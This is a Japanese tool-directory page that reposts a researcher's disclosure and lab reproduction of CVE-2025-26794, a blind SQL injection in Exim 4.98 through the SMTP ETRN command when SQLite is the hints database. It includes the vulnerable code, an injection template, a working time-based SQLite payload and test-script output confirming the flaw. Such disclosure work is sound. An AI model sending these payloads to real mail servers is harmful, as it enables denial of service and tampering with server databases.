Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/oscarbataille/cve-2025-26794
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティラボと実践
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794: Exim 4.98 (SQLite DBM) におけるブラインドSQLインジェクション - エクスプロイト解説

リポジトリを見る
15581年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-26794: Exim 4.98 (SQLite DBM) におけるブラインドSQLインジェクション - エクスプロイト解説

Exim レポート: https://www.exim.org/static/doc/security/CVE-2025-26794.txt

この脆弱性は手動コードレビューにより発見しました。

脆弱性詳細:

問題

SQLite を DBM として使用する場合、SQL パラメータが適切にサニタイズされません。このため、リモートユーザーがカスタム SQLite クエリを作成できる可能性があります。

要件:

  • Exim を "USE_SQLITE = yes" でコンパイルする。これにより SQLite がデータベースマネージャ (DBM) に設定されます。
  • ETRN コマンドを有効にする。そのためには、設定ファイルで "acl_smtp_etrn" を設定する必要があります。

PoC

はじめに

Exim は内部キー・バリューストレージ (HintsDB と呼ばれる) のために内部データベースを使用しており、ビルド時に設定可能なさまざまなバックエンドをサポートしています。最新の追加は SQLite です。 以下の格納に使用されます:

  • TLS セッション
  • レート制限に関する情報
  • リトライに関する情報
  • ETRN コマンドおよび SMTP 配信のためのセマフォ (enq_start() による)
  • トランスポートの並行性制限に関する情報
  • トランスポートによって延期されたメール配信のための "待機データベース"
  • PIPECONNECT の場合: リモートサーバーの EHLO 応答のキャッシュ
  • 影響を受けるファイルは hintsdb.h です。最新のコミットでは別のファイル (hints_sqlite.h) に移動されました。影響を受けるのは SQLite 関数のみです (例: exim_s_dbp)。

    root@kitploit:~
     static inline int
    exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
    {
    int hlen = data->len * 2, off = 0, res;
    # define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
    [...]
    qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
    [...]
    res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
    [...]
    

    入力キーは適切にエスケープされていません。したがって、キーを制御できれば、任意の SQLite コードを注入できます。

    エクスプロイト

    RFC1985 は SMTP ETRN コマンドを定義しており、「クライアントはサーバーに対し、サーバー上でクライアントマシン宛に待機しているメッセージのメールキューの処理を開始するよう要求できる」とされています。 これは SMTP コマンド ETRN #domain.com で使用されます。

    Exim では、ETRN コマンドは HintsDB 内にセマフォを設定し、複数の ETRN コマンドが並行して実行されるのを防ぎます。 このセマフォは enq_start(keyname, value) 関数によって実装され、"misc" データベースに新しいエントリを作成します。

    root@kitploit:~
    etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
    
    [...]
    
    if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
    {
    	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
    	break;
    }
    

    例えば、SMTP コマンド ETRN #test.com は、SQLite の "misc" データベースにキー "etrn-#test.com"、値 1 の一時的な DB エントリを作成します。

    ETRN コマンド処理の最後に、DB エントリは削除されます:

    root@kitploit:~
    enq_end(etrn_serialize_key);
    

    キーを制御できるため、以下の SMTP コマンドで独自の SQL コードを注入できます:

    root@kitploit:~
    ETRN #',1); ## INSERT SQL HERE ##  /*
    

    出力がないため、時間ベースの SQLi ペイロードを送信してこの脆弱性をリモートでテストできます:

    root@kitploit:~
    ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
    

    影響

    • ATTACH DATABASE を使用して、Exim ユーザーがアクセスできる他のローカル SQLite データベースに接続できました。おそらく、使用されている他のデータベースを操作することで、Exim の競合状態を悪用して未定義の動作を引き起こすことができるかもしれません。現時点ではまだ非常に仮定的です。
    • SQLite の攻撃対象領域全体にもアクセスできます。このエクスプロイトを SQLite のエクスプロイトと組み合わせて RCE を達成できる可能性があります。

    エクスプロイトの制限:

    • ルックアップタイプ dbm、dbmjz、dbmnz は設定された DBM (この場合は SQLite) を使用するため、攻撃対象領域が大幅に増加する可能性があります。エクスプロイトはテストしていません。ただし、SQLite が DBM として設定されている場合に dbm ルックアップを使用することはほぼないと思われます。
    • ETRN コマンドを有効にすることはかなり稀で、かなり古いと思われます。コード内でユーザー入力がクエリ文字列の構築に使用されている他の箇所は見つかりませんでした。
    • SQLite サポートを DBM として有効にすることは、非常に新しい機能であるため、かなり稀だと思います。
    • 最新の Exim バージョンで追加されたばかりであるため、DBM として SQLite を使用することもかなり稀だと思います。 したがって、このエクスプロイト方法が実際に悪用されたことはないと考えています。しかし、これは深刻な脆弱性です。

    つまり、簡単に DoS (例: ディスクを埋める) 可能ですが、これをリモートコード実行に昇格させるにはさらなる作業が必要ですが、可能性はあります。

    バグの再現

    この脆弱性を再現するためのローカル Docker ラボを以下に示します。

    Exim のビルドと起動

    1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
    2. cd CVE-2025-26794/docker_lab
    3. bash docker.sh でビルドし、コンテナにログインします
    4. コンテナ内で bash start-exim.sh を実行して Exim サーバーを起動します

    Exim サーバーに接続

    1. Netcat で接続: nc 127.0.0.1 25
    2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
    3. ETRN コマンドを発行: ETRN #'
    4. Exim ログで次の行を確認: sqlite3_exec: near "', X'": syntax error

    サーバーのテスト

    この脆弱性をリモートでテストするためのスクリプト test.py を作成しました。

    root@kitploit:~
    python3 docker_lab/test.py <host>
    

    例:

    root@kitploit:~
    oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
    Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
    
    Client:  ETRN #
    
    ETRN response: 458 Already processing
     Time: 0.006737470626831055
    
    Client:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
    
    ETRN response: 250 OK
     Time: 1.073132038116455
    
    !! 脆弱
    
    ツールをダウンロード